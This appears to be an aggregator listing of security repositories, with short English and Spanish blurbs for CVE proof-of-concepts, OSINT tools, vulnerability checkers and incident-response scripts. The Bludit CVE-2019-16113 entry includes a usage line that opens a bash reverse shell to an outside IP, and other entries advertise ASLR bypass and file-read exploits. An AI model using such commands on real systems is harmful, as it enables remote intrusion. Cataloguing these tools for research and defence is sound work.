CVE-2021-46071

CVE-2021-46071 Exploit Title: Vehicle Service Management System - 'Category List' Stored Cross Site Scripting XSS Exploit Author: SANU P.L CVE: CVE-2021-46071 CVSS: 4.8 MEDIUM References: https://www.plsanu.com/vehicle-service-management-system-category-list-stored-cross-site-scripting-xss...

CVE-2023-26360

CVE-2023-26360 Usage Usage: python3 script.py endpoint proxyurl Reading Files...

OSINT-Search

Descripción de OSINT-Search Script en Python que aplica técnicas OSINT buscando datos públicos usando direcciones de correo electrónico, números de teléfono, dominios, direcciones IP o URLs. Crea una cuenta en https://pipl.com/api y obtén la clave API. Crea una cuenta en https://www.opencnam.com/...

Sweet-Pineapple-Builder

Sweet WiFi Pineapple Tetra Builder Sweet Pineapple Builder is a python script that automate the whole process of creating a custom WiFi Pineapple Tetra image. As the WiFi Pineapple Tetra firmware is a custom version of OpenWrt 19.07.2, it is therefore possible to create our own custom firmware...

virustotalx

virustotalx for endpoints virustotalx for IPs V2 Installation root@kitploit: git clone https://github.com/orwagodfather/virustotalx.git root@kitploit: cd virustotalx create a 3 accounts https://www.virustotal.com/gui/join-us and copy the 3 api keys === root@kitploit: nano orwa.sh & root@kitploit:...

ASLRay

ASLRay Exploit de bypass de ASLR DEP/NX en Linux ELF x32/x64 con stack-spraying Propiedades: Bypass de ASLR Bypass de DEP/NX Multiplataforma Minimalista Simplicidad No parcheable Dependencias: Linux 2.6.12+ - funcionaría en cualquier SO basado en Linux x86-64 BASH - todo el script Limitaciones: L...

Kali-Setup

Script de Personalización de Kali Esta idea del script fue tomada originalmente de g0tmi1k https://github.com/g0tmi1k/os-scripts. No reclamo crédito por la base del script. Dicho esto, he agregado un MONTÓN más de herramientas y corregido muchos errores de la versión original. Mantengo esto y lo...

FLAIR

F-Secure Lightweight Acquisition for Incident Response FLAIR This document describes the purpose and basic operation of the FLAIR acquisition script. Purpose During investigation of incidents on client estate, there are occasions where no EDR deployed which the IR team can make use of to collect...

macOSTriageCollectionScript

macOSTriageCollectionScript A triage data collection script for macOS that utilises sysdiagnose with a few additions to gather useful triage data for investigations. What does the script collect? Data collected includes: sysdiagnose , a utility on a vareity of macOS/iOS operating systems that...

shadowhammer

Batch-mode shadowhammer MAC address checker Kaspersky recently discovered and analysed the 'Shadowhammer' attack https://securelist.com/operation-shadowhammer/89992. They did some great analysis and released a tool for sysadmins to use to determine if their systems were targetted. The released...

Apkatshu

Apkatshu Apkatshu es una herramienta para extraer URLs, correos electrónicos, direcciones IP y datos interesantes de archivos APK. root@kitploit: Apkatshu : tool written in bash/python for extracting urls, emails, ip addresses, and interesting data from APK files. The user can choose either JADX ...

CVE-2024-41301-Bookea-tu-Mesa-is-vulnerable-to-Stored-Cross-Site-Scripting

CVE-2024-41301 - Bookea-tu-Mesa-is-vulnerable-to-Stored-Cross-Site-Scripting Bookea-tu-Mesa is susceptible to a Stored Cross-Site Scripting XSS vulnerability. This flaw allows attackers to inject malicious scripts that execute within the context of a user's session. Steps to Reproduce: 1. Go to...

CVE-2026-42945-NGINX-Rift-Check-Script

This repository does not have a README...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

ImageMagick-CVE-2022-44268-PoC

ImageMagick-CVE-2022-44268-PoC A bash script for easly exploiting ImageMagick Arbitrary File Read Vulnerability CVE-2022-44268 Image Magic version effected root@kitploit: Version: ImageMagick 6.9.11-60 Q16 x8664 2021-01-25 https://imagemagick.org Copyright: C 1999-2021 ImageMagick Studio LLC...

Dome

DOME - Una herramienta de enumeración de subdominios Ver la versión en español Dome es un script de Python rápido y confiable que realiza un escaneo activo y/o pasivo para obtener subdominios y buscar puertos abiertos. Esta herramienta está recomendada para cazadores de bugs y pentesters en su fa...

CVE-2020-0796-Checker

CVE-2020-0796-Checker Script that checks if the system is vulnerable to CVE-2020-0796 SMB v3.1.1 LINUX USAGE: sudo apt-get install nmap chmod +x CVE-2020-0796-Checker.sh bash CVE-2020-0796-Checker.sh -t TARGET-IP...

CVE-2022-1388-checker

CVE-2022-1388-checker Simple bash script to check multiple hosts for CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt References https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

katoolin

katoolin Instala automáticamente todas las herramientas de Kali Linux Características Añadir repositorios de Kali Linux Eliminar repositorios de Kali Linux Instalar herramientas de Kali Linux Requisitos Python 2.7 Un sistema operativo probado en Ubuntu Instalación sudo su git clone...

CVE-2023-38831

CVE-2023-38831 A POC demo on CVE-2023-38831 Brief description of vulnerability CVE-2023-38831 is a software vulnerability. The software that was exploited is WinRAR, which is used widely by almost everyone. It is a software that helps different documents or files to make it into small archives zi...